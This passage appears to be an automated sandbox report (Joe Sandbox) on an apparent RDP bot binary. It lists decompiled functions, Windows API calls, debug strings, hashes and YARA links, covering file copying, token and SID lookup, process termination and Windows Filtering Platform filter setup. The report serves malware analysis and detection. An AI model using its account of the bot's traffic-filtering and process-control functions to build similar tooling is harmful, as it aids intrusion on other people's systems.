strlen.MSVCRT ref: 00007FF77572566B
strlen.MSVCRT ref: 00007FF77572568D
strcat.MSVCRT ref: 00007FF7757256A6
strcpy.MSVCRT ref: 00007FF7757256B9
strlen.MSVCRT ref: 00007FF7757256C1
strlen.MSVCRT ref: 00007FF7757256E3
strcat.MSVCRT ref: 00007FF7757256FF

Strings

(src != NULL), xrefs: 00007FF7757255CD
fs_dir_copy, xrefs: 00007FF7757255A6, 00007FF7757255D4, 00007FF7757255FF, 00007FF775725712, 00007FF775725869, 00007FF7757258E5
[I] (%s) -> Done(src=%s,dst=%s), xrefs: 00007FF7757258EC
(dst != NULL), xrefs: 00007FF7757255F8
|, xrefs: 00007FF775725582
*, xrefs: 00007FF77572545A
[D] (%s) -> Copy(f_src=%s,f_dst=%s), xrefs: 00007FF775725719
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757255C6, 00007FF7757255F1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757255DB, 00007FF775725606
NULL, xrefs: 00007FF7757258CD, 00007FF7757258D6
[E] (%s) -> Failed(src=%s,dst=%s,err=%08x), xrefs: 00007FF775725870
[I] (%s) -> Filtered(f_src=%s,flt=%s), xrefs: 00007FF7757255AD

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$strcatstrcpy$strcmp
String ID: (dst != NULL)$(src != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Copy(f_src=%s,f_dst=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(src=%s,dst=%s,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s)$[I] (%s) -> Filtered(f_src=%s,flt=%s)$fs_dir_copy$|
API String ID: 2140730755-3699962909
Opcode ID: 37f82467a9b4f0f1a8f65e44a39071a822eed56fb51b10aaf508232bd5983809
Instruction ID: 1edde6e7e0f830c77f5826b33e03e000c35ddc748fab48dcef79827cf3d3a5f0
Opcode Fuzzy Hash: 37f82467a9b4f0f1a8f65e44a39071a822eed56fb51b10aaf508232bd5983809
Instruction Fuzzy Hash: 80C18F6393C68691FA24AB11A5443FAE361EF4CF84FD44032DA4D4BA85DF7CE509C7A1

Function 00007FF775721D60 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 207memoryCOMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 00007FF775721D8A
GetTokenInformation.ADVAPI32 ref: 00007FF775721DC0
GetLastError.KERNEL32 ref: 00007FF775721DCE
LocalFree.KERNEL32 ref: 00007FF775721E08
CloseHandle.KERNEL32 ref: 00007FF775721E13
GetLastError.KERNEL32 ref: 00007FF775721EB8
LocalAlloc.KERNEL32 ref: 00007FF775721F70
GetTokenInformation.ADVAPI32 ref: 00007FF775721F9E
GetLastError.KERNEL32 ref: 00007FF775721FAC

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

LocalAlloc.KERNEL32 ref: 00007FF77572209A
GetLengthSid.ADVAPI32 ref: 00007FF7757220AC
memcpy.MSVCRT ref: 00007FF7757220BC

Strings

[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu), xrefs: 00007FF775721ECD
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF775721E2B, 00007FF775721E5B
[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu), xrefs: 00007FF775721DEA, 00007FF775721FC1
process_get_user_sid, xrefs: 00007FF775721DE3, 00007FF775721E39, 00007FF775721E69, 00007FF775721E9A, 00007FF775721EC6, 00007FF775721FBA
(hnd != NULL), xrefs: 00007FF775721E32
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775721E40, 00007FF775721E70
(sid != NULL), xrefs: 00007FF775721E62
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF775721EA1

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLastLocalToken$AllocInformation$CloseFreeHandleLengthOpenProcessfflushfwritememcpy
String ID: (hnd != NULL)$(sid != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu)$[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu)$process_get_user_sid
API String ID: 3826151639-1775164968
Opcode ID: fbc27cd743f1523cf46be9fc6bf3ed102a9720512f7d7819e97c2f17d8ad2cd0
Instruction ID: 27ed1adbcb98aea5a3bf6f983fcc7221d857c2180d8578f618ee7d669482c42e
Opcode Fuzzy Hash: fbc27cd743f1523cf46be9fc6bf3ed102a9720512f7d7819e97c2f17d8ad2cd0
Instruction Fuzzy Hash: 76912A63E3D58281FB606B05EC50779A262FF8CFA6F950032D94E47690DE3DE98583E1

Function 00007FF77572795A Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF77572797E
HeapAlloc.KERNEL32 ref: 00007FF77572798F
GetProcessHeap.KERNEL32 ref: 00007FF775727C24
HeapFree.KERNEL32 ref: 00007FF775727C35
FwpmFilterAdd0.FWPUCLNT ref: 00007FF775727BEA

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF775727C74
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF775727CAF
FwpmFilterAdd0.FWPUCLNT ref: 00007FF775727D44

Strings

setup_svc_filt, xrefs: 00007FF775727C07, 00007FF775727C8D, 00007FF775727CD2, 00007FF775727D67
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF775727C0E
3L, xrefs: 00007FF775727B7F
[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF775727D6E
;9rJ, xrefs: 00007FF775727CEF
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF775727CD9
mem_alloc, xrefs: 00007FF775727C52
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF775727C59
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF775727C94
TL, xrefs: 00007FF775727A0C
TL, xrefs: 00007FF7757279C0

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteKey0Process$AllocFreefflushfwrite
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$setup_svc_filt
API String ID: 3629392964-1470975255
Opcode ID: d61932851ce74b3bb3cf1cb972733808165beb13a36d6ba2616358fc88f4bc17
Instruction ID: 193e4f470ef11082defb1a41fe513c98b29d4652ffaac59b2a43437b02d0e7a0
Opcode Fuzzy Hash: d61932851ce74b3bb3cf1cb972733808165beb13a36d6ba2616358fc88f4bc17
Instruction Fuzzy Hash: 17A1C53362D7C285E7609B25B8403AAB7A5FB85B50F844134EACC4BB99DF3DD484CB90

Function 00007FF775728153 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF775728008: GetFileAttributesW.KERNEL32 ref: 00007FF775728019

wcslen.MSVCRT ref: 00007FF775728195
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF775728241
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF77572827F
FwpmFilterAdd0.FWPUCLNT ref: 00007FF775728448
GetProcessHeap.KERNEL32 ref: 00007FF77572848A
HeapFree.KERNEL32 ref: 00007FF77572849B
GetProcessHeap.KERNEL32 ref: 00007FF7757284B2
HeapFree.KERNEL32 ref: 00007FF7757284C3
FwpmFilterAdd0.FWPUCLNT ref: 00007FF775728523

Strings

[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF775728468
[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF775728547
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF7757282A3
setup_app_filt, xrefs: 00007FF77572825A, 00007FF77572829C, 00007FF775728461, 00007FF775728540
;9rJ, xrefs: 00007FF7757284CE
3L, xrefs: 00007FF7757283DD
TL, xrefs: 00007FF775728205
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF775728261
TL, xrefs: 00007FF7757281B9

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteFreeKey0Process$AttributesFilewcslen
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$setup_app_filt
API String ID: 2990311666-1793103013
Opcode ID: 7da8f20963203a202b6cde00bd6d6d5cb68f077bf040b79e00aef586fafc8510
Instruction ID: e855c932889b2cc441cb336e1ba6c527c7e6430c42cea9e72211fb2fad379796
Opcode Fuzzy Hash: 7da8f20963203a202b6cde00bd6d6d5cb68f077bf040b79e00aef586fafc8510
Instruction Fuzzy Hash: 7B91E52262DBC285F771DB15A84039AB7A1FB85B50F844138EACC4BB99EF3DC544CB90

Function 00007FF77572405E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77572407D
CreateDirectoryA.KERNEL32 ref: 00007FF77572409F
GetLastError.KERNEL32 ref: 00007FF7757240F0
strcpy.MSVCRT ref: 00007FF775724141
strlen.MSVCRT ref: 00007FF775724149
strlen.MSVCRT ref: 00007FF775724165
strlen.MSVCRT ref: 00007FF775724176
CreateDirectoryA.KERNEL32 ref: 00007FF7757241E7
GetLastError.KERNEL32 ref: 00007FF7757241F1

Strings

[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF7757242C6
fs_dir_create, xrefs: 00007FF7757240CE, 00007FF775724102, 00007FF775724199, 00007FF7757242BF, 00007FF775724326
(path != NULL), xrefs: 00007FF7757240C7
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF775724109
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757240C0
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757240D5
NULL, xrefs: 00007FF775724317
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF7757241A0
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF77572432D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: 1f30e1d30b345c330644988c5380ee9ae36f7c8538e1076f722eabbeb4c2c8ac
Instruction ID: e67ec058cb0185ee374419838b0f89a8278708c668f24f46f855eb1260765d9f
Opcode Fuzzy Hash: 1f30e1d30b345c330644988c5380ee9ae36f7c8538e1076f722eabbeb4c2c8ac
Instruction Fuzzy Hash: 5D719033E3C28385FB207B16E845BB9A6A2EF5CF54FD41132C94E06691DE2CE945C7A1

Function 00007FF77572341C Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNEL32 ref: 00007FF775723436
WaitForSingleObject.KERNEL32 ref: 00007FF77572345A
GetExitCodeProcess.KERNEL32 ref: 00007FF775723468
GetLastError.KERNEL32 ref: 00007FF77572350F
TerminateProcess.KERNEL32 ref: 00007FF7757235FC
GetLastError.KERNEL32 ref: 00007FF77572360A
GetLastError.KERNEL32 ref: 00007FF7757236F1

Part of subcall function 00007FF7757233C0: CloseHandle.KERNEL32 ref: 00007FF7757233D8
Part of subcall function 00007FF7757233C0: CloseHandle.KERNEL32 ref: 00007FF7757233DE

Strings

C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7757234B5
[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF775723705
process_close, xrefs: 00007FF775723498, 00007FF7757234C3, 00007FF7757234F2, 00007FF77572351E, 00007FF775723619, 00007FF7757236FE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757234CA
(pi != NULL), xrefs: 00007FF7757234BC
[E] (%s) -> Failed(pid=%lu,err=%08x), xrefs: 00007FF7757234F9
[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu), xrefs: 00007FF775723620
[I] (%s) -> Done(pid=%lu,exit_code=%08lx), xrefs: 00007FF77572349F
[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF775723525

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLastProcess$CloseCodeExitHandle$ObjectSingleTerminateWait
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(pid=%lu,err=%08x)$[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu)$[I] (%s) -> Done(pid=%lu,exit_code=%08lx)$[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$process_close
API String ID: 1879646588-710610406
Opcode ID: 1cf9dc9fc7508c57831187bf75e953d7a5889ba14419c8eca060db071c248020
Instruction ID: aece65baed010af61c8544b80b52aafe9a2b228f7c725b062d2eeb015eb0e863
Opcode Fuzzy Hash: 1cf9dc9fc7508c57831187bf75e953d7a5889ba14419c8eca060db071c248020
Instruction Fuzzy Hash: F9812963E3C55F86FA61BB15A4806BCE260EF0CF64F9540B2CC5E57294DE2DAC8583E1

Function 00007FF775723909 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF77572392A
GetLastError.KERNEL32 ref: 00007FF775723A0A

Strings

~, xrefs: 00007FF775723A8E
P, xrefs: 00007FF775723A93
, xrefs: 00007FF775723A2B
NULL, xrefs: 00007FF775723B3A
(attr != NULL), xrefs: 00007FF7757239E0
c, xrefs: 00007FF7757239D1
(path != NULL), xrefs: 00007FF7757239A7
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF775723B53
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF77572397E
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF775723A1F
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757239A0, 00007FF7757239D9
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757239B5, 00007FF7757239EE
fs_attr_get, xrefs: 00007FF775723977, 00007FF7757239AE, 00007FF7757239E7, 00007FF775723A18, 00007FF775723B4C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-3397184676
Opcode ID: ad5b4c89faa54c5bf45b79fd471cebbced5bf5371ffcee2ccaec2d52fd726c37
Instruction ID: 9c8d9dcafe201face2f7add0bc062252af15d7faff56202250db463ef56a9dae
Opcode Fuzzy Hash: ad5b4c89faa54c5bf45b79fd471cebbced5bf5371ffcee2ccaec2d52fd726c37
Instruction Fuzzy Hash: 22515FA393C65F82F6307B05A8443B8E270FF0DFA8FD44132DA9E06594AE6DA545C3A1

Function 00007FF775726776 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7757267AA

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

GetLastError.KERNEL32 ref: 00007FF775726909

Strings

[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF7757268DD
(xpath != NULL), xrefs: 00007FF77572683D
(xpath_sz != NULL), xrefs: 00007FF77572686D
(path != NULL), xrefs: 00007FF77572680A
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF77572691E
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF7757269EB
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775726803, 00007FF775726836, 00007FF775726866, 00007FF775726896
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF7757267E5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775726818, 00007FF77572684B, 00007FF77572687B, 00007FF7757268AB
((*xpath_sz) > 0), xrefs: 00007FF77572689D
fs_path_expand, xrefs: 00007FF7757267DE, 00007FF775726811, 00007FF775726844, 00007FF775726874, 00007FF7757268A4, 00007FF7757268D6, 00007FF775726917, 00007FF7757269E4

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2819899730
Opcode ID: ed7b55938786d232f4d9094384ec26ffa7b01091c473c9e5d8369086cd487e4c
Instruction ID: 2a6b3cf3fb7a24894b9505af4d4517a534aa9cd8b21e5184fc0b3e5f12089a53
Opcode Fuzzy Hash: ed7b55938786d232f4d9094384ec26ffa7b01091c473c9e5d8369086cd487e4c
Instruction Fuzzy Hash: E1615C63E3C5C791FA20BB54E8043B8A262EB48F54FD58037D94D47A90DE3DE94683E5

Function 00007FF775721A19 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 103COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF775721A46
LoadResource.KERNEL32 ref: 00007FF775721A5E

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

GetLastError.KERNEL32 ref: 00007FF775721B58
GetLastError.KERNEL32 ref: 00007FF775721B8D
GetLastError.KERNEL32 ref: 00007FF775721B92

Strings

[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF775721B6D
[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu), xrefs: 00007FF775721BA2
C:/Projects/rdp/bot/codebase/module.c, xrefs: 00007FF775721B0A, 00007FF775721B35
module_get_version, xrefs: 00007FF775721ADF, 00007FF775721B18, 00007FF775721B43, 00007FF775721B66, 00007FF775721B9B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775721B1F, 00007FF775721B4A
(hnd != NULL), xrefs: 00007FF775721B11
(out != NULL), xrefs: 00007FF775721B3C
[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat, xrefs: 00007FF775721AE6

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLast$Resource$FindLoadfflushfwrite
String ID: (hnd != NULL)$(out != NULL)$C:/Projects/rdp/bot/codebase/module.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu)$[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu)$[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat$module_get_version
API String ID: 2123903355-2019010457
Opcode ID: 2bb8962f953552ca7baee075e8185a83bd9eaab00df9a70688943519e183aaa8
